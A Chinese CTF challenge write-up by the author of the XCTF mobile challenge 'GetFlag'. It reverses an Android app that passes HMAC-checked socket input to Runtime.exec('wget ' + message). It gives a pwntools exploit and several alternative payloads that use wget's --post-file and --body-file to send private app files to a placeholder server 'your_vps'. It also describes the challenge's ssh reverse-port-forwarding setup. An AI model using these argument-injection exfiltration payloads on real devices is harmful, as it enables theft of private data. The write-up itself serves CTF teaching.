XCTF高校战疫 移动赛题GetFlag出题记录

出了一个攻击真机的题目:利用ssh的端口转发以及一台公网服务器,将apk绑定本地的对应端口映射到公网上。漏洞点为app中的Runtime.getRuntime().exec的参数拼接,利用方式为:使用其本身执行的wget程序的--post-file参数将保存在应用私有目录下的flag带出。最终解出本题的队伍个数为33,前三名为0ops,天枢,NU1L。

解题

题目信息

  • 简述:flag在哪呢?
  • FLAG:flag{this_wget_is_from_termux_and_I_move_some_dynamic_lib_to_systemlib_to_run_it}
  • 附件:GetFlag.apk
  • HINT:无

远程题目端口已关,本地手机因一般没有功能齐全的wget导致没有办法利用成功。

基本检查

应该是一个正常的APK:

➜  file GetFlag.apk 
GetFlag.apk: Zip archive data, at least v?[0] to extract

安装到手机上打开后有一个启动按钮,不知道干什么的。扔到JEB里分析,只有一个Activity,找到一个提示:

FLAG{the_real_flag_is_in_the_remote_apk}

说明存在远程的APK,那么这APK应该是会有一个监听端口的功能,远程IP在哪呢?翻到assert文件夹下可以看到secret.txt,内容是一段base64,解开后内容如下:

The IP of the remote phone is 212.64.66.177

去nmap扫一下这个IP的端口:

➜  ~ nmap 212.64.66.177   
Starting Nmap 7.70 ( https://nmap.org ) at 2020-03-01 18:12 CST
Nmap scan report for 212.64.66.177
Host is up (0.085s latency).
Not shown: 991 closed ports
PORT     STATE    SERVICE
22/tcp   open     ssh
135/tcp  filtered msrpc
139/tcp  filtered netbios-ssn
445/tcp  filtered microsoft-ds
593/tcp  filtered http-rpc-epmap
1434/tcp filtered ms-sql-m
1720/tcp filtered h323q931
4444/tcp filtered krb524
8080/tcp open     http-proxy

Nmap done: 1 IP address (1 host up) scanned in 15.34 seconds

发现8080这个端口是开着的,连上返回一个数,每次都变,不知道干什么的。

➜  ~ nc 212.64.66.177 8080
424220

这个apk按到本地后,发现的确本地也开启了8080端口,然后连上也是返回一个数。说明远程的应该是这个APK暴露出的端口。

逆向APK

利用JEB分析,没有混淆,也没有native方法,还是比较好分析的。

protected void onCreate(Bundle arg2) {
        super.onCreate(arg2);
        this.setContentView(0x7F09001C);
        this.startButton = this.findViewById(0x7F07007F);
        this.receiveEditText = this.findViewById(0x7F07005E);
        this.startButton.setOnClickListener(this.startButtonListener);
        try {
            FileOutputStream v2_2 = this.openFileOutput("flag", 0);
            v2_2.write("FLAG{the_real_flag_is_in_the_remote_apk}".getBytes());
            v2_2.close();
        }
        catch(IOException v2) {
            v2.printStackTrace();
        }
        catch(FileNotFoundException v2_1) {
            v2_1.printStackTrace();
        }
    }

在onCreate函数中可以看到利用了openFileOutput这个API新建了一个文件,这个文件会保存在应用的私有目录下,即:

/data/data/com.xuanxuan.getflag/files/flag

在自己本地手机查看,的确存在。

# cat /data/data/com.xuanxuan.getflag/files/flag                
FLAG{the_real_flag_is_in_the_remote_apk}

然后分析点击事件,进而分析ServerSocket_thread线程,发现是监听的本地的8080端口

public void onClick(View arg2) {
    new ServerSocket_thread(MainActivity.this).start();
}
class ServerSocket_thread extends Thread {
        ServerSocket_thread(MainActivity arg1) {
            MainActivity.this = arg1;
            super();
        }

        public void run() {
            int v0 = 8080;

继续分析Receive_Thread线程,知道了连接到这个端口最开始发送的是一个随机数

OutputStream v1_1 = MainActivity.this.outputStream;
StringBuilder v2 = new StringBuilder();
v2.append(Integer.toString(v0));
v2.append("\n");
v1_1.write(v2.toString().getBytes());

继续分析,发现最多能读取接收的500个字节,然后收到数据和刚才生成的随机数会被送到Checkpayload函数里

 byte[] v1_4 = new byte[v1_2];
 int v3 = 500;
 int v2_1 = MainActivity.this.inputstream.read(v1_4, 0, v3);
 if(v2_1 < 0 || v2_1 > v3) {
 MainActivity.this.inputstream.close();
 }
 else {
 String v3_1 = new String(v1_4, 0, v2_1);
 if(!MainActivity.this.Checkpayload(v3_1, v0)) {
 MainActivity.this.inputstream.close();
 }
 else {
 MainActivity.this.runOnUiThread(new Runnable(new JSONObject(v3_1).getString("message")) {
 public void run() {
 this.this$1.this$0.receiveEditText.setText(this.val$showtext);
 }
 });
 continue;
 }

看到这个函数里会将刚才传来的数据转成JSON对象,对象里有两个字段,分别为message和check,然后会用传进来的随机数作为HMAC的key,算出message的校验码和check进行比较,如果通过,则过滤一些message的参数,利用JAVA的Runtime类执行wget拼接后面提交message。

    private boolean Checkpayload(String arg4, int arg5) throws Exception {
        JSONObject v0 = new JSONObject(arg4);
        if((v0.has("message")) && (v0.has("check"))) {
            arg4 = v0.getString("message");
            if(new BigInteger(1, MainActivity.HmacSHA1Encrypt(arg4, Integer.toString(arg5))).toString(16).equals(v0.getString("check"))) {
                arg4 = arg4.replaceAll("-o", "").replaceAll("-O", "").replaceAll("-d", "").replaceAll("-P", "");
                try {
                    Runtime v5 = Runtime.getRuntime();
                    v5.exec("wget " + arg4);
                }
                catch(IOException v4) {
                    v4.printStackTrace();
                }
                return 1;
            }
        }

        return 0;
    }

所以大概知道这题让我们干啥了,就是向远程的APK,即212.64.66.177的8080端口,发送一段包含message和check字段的json数据,check根据连接上时的随机数为秘钥计算message的hmac,利用exec(“wget “+message),获得远程应用私有目录的flag,即/data/data/com.xuanxuan.getflag/files/flag

利用

因为题目是用的Runtime.getRuntime().exec("wget"+arg4)这种方式执行命令,这种里面传字符串的方式是无法通过shell的一些特殊符号进行命令拼接的,原因:Java Runtime.getRuntime().exec由表及里,所以我们只能通过wget这个程序本身来获得flag,那wget有没有能带出文件的请求参数呢?我们在本地的wget的帮助里看到:

--post-file=文件            发送 <文件> 内容

可以看到这项并没有在过滤的黑名单里,但是我们的手机上是否有wget程序呢?就算有wget,手机上的有这个选项么?应该是没有的,但是我们还是要尝试一下远程的。我们构造如下message:

--post-file /data/data/com.xuanxuan.getflag/files/flag

然后根据开始的随机数计算校验码:

import hmac
from hashlib import sha1
from pwn import *
context(log_level='debug')

io=remote("212.64.66.177",8080)
key = io.recvline().strip()
mac  = hmac.new(key,digestmod=sha1)
payload = "--post-file /data/data/com.xuanxuan.getflag/files/flag http://your_vps:8888"
mac.update(payload)
result  = mac.digest().encode("hex")
io.sendline('{"message":"'+payload+'","check":"'+result+'"}')
io.interactive()

然后我们在自己的服务器上监听相应端口,即可收到FLAG

root@iZt4ne4674vayregeopblsZ:~# nc -l 8888
POST / HTTP/1.1
User-Agent: Wget/1.20.3 (linux-androideabi)
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 81

flag{this_wget_is_from_termux_and_I_move_some_dynamic_lib_to_systemlib_to_run_it}

根据flag的内容知道了,题目作者是换了手机上的wget才完成此题。另外app中的java代码执行Runtime.getRuntime().exec()的工作路径是根目录,而不是私有目录。

总结

本题总体不难,对于做题者,考察了android app的基本知识,简单的网络通信,密码,以及wget的利用,具体来说有:

  1. app基本逆向,jeb等逆向工具的使用
  2. assert文件夹可以用于只允许adb install的情况下夹带资料
  3. app私有文件夹的路径以及访问权限
  4. HMAC在挑战应答模式下的应用
  5. JAVA的Runtime的命令执行的局限
  6. wget的利用

出题

对于出题者还用到了如下知识:

  1. termux的使用:Termux(一个免root的android上shell环境与包管理器)
  2. wget的替换,动态库与环境变量的添加,文件系统重新挂载
  3. ssh端口转发,把真实手机的端口转到公网上
  4. 当环境出问题时,自动重启复原的脚本

虽然是wget替换才完成此题,看起来没有什么实际的场景,但是其实wget的利用是来自一个真实的IOT设备,而且并不简单粗暴的出一个android的逆向,还是想融合一些android应用的特性进行出题。本来是打算出个android的真机pwn题,但是发现如果说利用libc的话,没有办法做到环境隔离,无法做出socat类似的情景,即让每一个选手连过来后是一个单独的进程,最终想法破产。

wget替换

由于需要利用wget的一些参数,而手机里带的wget是curl封装的wget:

root@bacon:/ # cat /system/xbin/wget                                                                                                                                                            
#!/system/bin/sh
# wget-curl, a curl wrapper acting as a wget drop-in replacement - version git-HEAD

所以直接讲termux中的wget以及相应的动态链接库放到了/system/xbin/system/lib目录下:

# ldd `which wget`
libandroid-support.so
libiconv.so
libunistring.so
/data/data/com.termux/files/usr/lib/libandroid-support.so
libpcre2-8.so
libuuid.so.1
libssl.so.1.1
libcrypto.so.1.1
libz.so.1
libdl.so
libc.so

termux中二进制文件的库目录如下:

/data/data/com.termux/files/usr/lib/

由于system分区一般只读,所以需要使用mount命令重新挂载:

mount -o remount,rw /system

ssh端口转发

知道在技术上,一定是可以把本地的一个端口搞到自己的公网服务器上,但一直不知道咋做。端口转发还是端口映射,看起来是一个意思。目前我需要的是将一个处于内网的手机的一个端口,可以被外网访问到,即映射到一个公网服务器的端口上,利用ssh两步就可以搞定,ssh真强大:

  1. 修改自己公网服务器的sshd的配置文件:/etc/ssh/sshd_config,添加GatewayPorts yes,保存并重启sshd服务service sshd restart
  2. 在内网手机上使用如下命令,将本机的8080端口,转发到目标服务器的8080端口,即可被外网访问到
ssh -i /data/local/tmp/sshkey/key ubuntu@212.64.66.177 -f -N -g -R 0.0.0.0:8080:127.0.0.1:8080

其中参数的含义可以通过man命令进行查看:man ssh

  1. -f: Requests ssh to go to background just before command execution
  2. -N: Do not execute a remote command. This is useful for just forwarding ports
  3. -g: Allows remote hosts to connect to local forwarded ports
  4. -R: Specifies that connections to the given TCP port or Unix socket on the remote (server) host are to be forwarded to the local side.

自动脚本重启

手机上

首先是手机上的可以进行端口转发的脚本:getflag

export SHELL="/data/data/com.termux/files/usr/bin/bash"
export PREFIX="/data/data/com.termux/files/usr"
export PWD="/data/data/com.termux/files/home"
export EXTERNAL_STORAGE="/sdcard"
export LD_PRELOAD="/data/data/com.termux/files/usr/lib/libtermux-exec.so"
export HOME="/data/data/com.termux/files/home"
export LANG="en_US.UTF-8"
export TMPDIR="/data/data/com.termux/files/usr/tmp"
export ANDROID_DATA="/data"
export TERM="xterm-256color"
export SHLVL="1"
export ANDROID_ROOT="/system"
export LD_LIBRARY_PATH="/data/data/com.termux/files/usr/lib"
export PATH="/data/data/com.termux/files/usr/bin:/data/data/com.termux/files/usr/bin/applets"
export _="/data/data/com.termux/files/usr/bin/env"
ssh -i /data/local/tmp/sshkey/key ubuntu@212.64.66.177 -f -N -g -R 0.0.0.0:8080:127.0.0.1:8080

然后是以防端口断掉,不断映射的脚本:

import os,time
a = 0
while 1:
    a = a+1
    os.system("/su/bin/getflag")
    print(time.time())
    time.sleep(30)
    if a==20:
        a=0
        os.system("ps | grep ssh | awk '{print $2}' | xargs kill")

可以adb连接手机的机器上

检测到服务出现问题的时候,使用adb控制app重启,以及去清理远程服务器上占用的端口进行的脚本:

from pwn import *
import os,time
context(log_level='debug')
while 1:
	print("[+] start")
	try:
		io = remote("212.64.66.177",8080)
		io.recv(4)
		io.close()
	except:
		print("[+] close port")
		os.system("ssh -i ~/Desktop/sshkey/tencent/key ubuntu@212.64.66.177 \"sudo netstat -pantu | grep ubuntu | awk '{print \$7}' | awk -F '/' '{print \$1}' | sudo xargs kill\"")
		print("[+] stop app")
		os.system("adb shell am force-stop com.xuanxuan.getflag")
		print("[+] restart app")
		os.system("adb shell am start -n com.xuanxuan.getflag/.MainActivity")
	time.sleep(60)
	continue

另外发现总是无法彻底清理远程服务器上的一些占用网络资源的端口进程,需要登录上去进行手动清理:(就是上面那条)

sudo netstat -pantu | grep ubuntu | awk '{print $7}' | awk -F '/' '{print $1}' | sudo xargs kill

实况

认真对待每一个学习的机会,自己水平不济,多多学习!

选手问候

image

赛题最终截图和跟我聊天的payload

非预期解

另外发现一些非预期的解法:

# 设计的解法
payload = "--post-file /data/data/com.xuanxuan.getflag/files/flag http://your_vps:8888"

# /data/user/0 可以链接到 /data/data 目录下
payload = "--post-file /data/user/0/com.xuanxuan.getflag/files/flag http://your_vps:8888"

# 利用--body-file和--method结合一样可以达到效果
payload = "--body-file /data/data/com.xuanxuan.getflag/files/flag --method=HTTPMethod http://your_vps:8888"

# 可以直接通过下载apk的办法拿到flag,但是正好我这里的环境是com.xuanxuan.getflag-2,所以没有成功
payload = "--post-file /data/app/com.xuanxuan.getflag-1/base.apk http://your_vps:8888"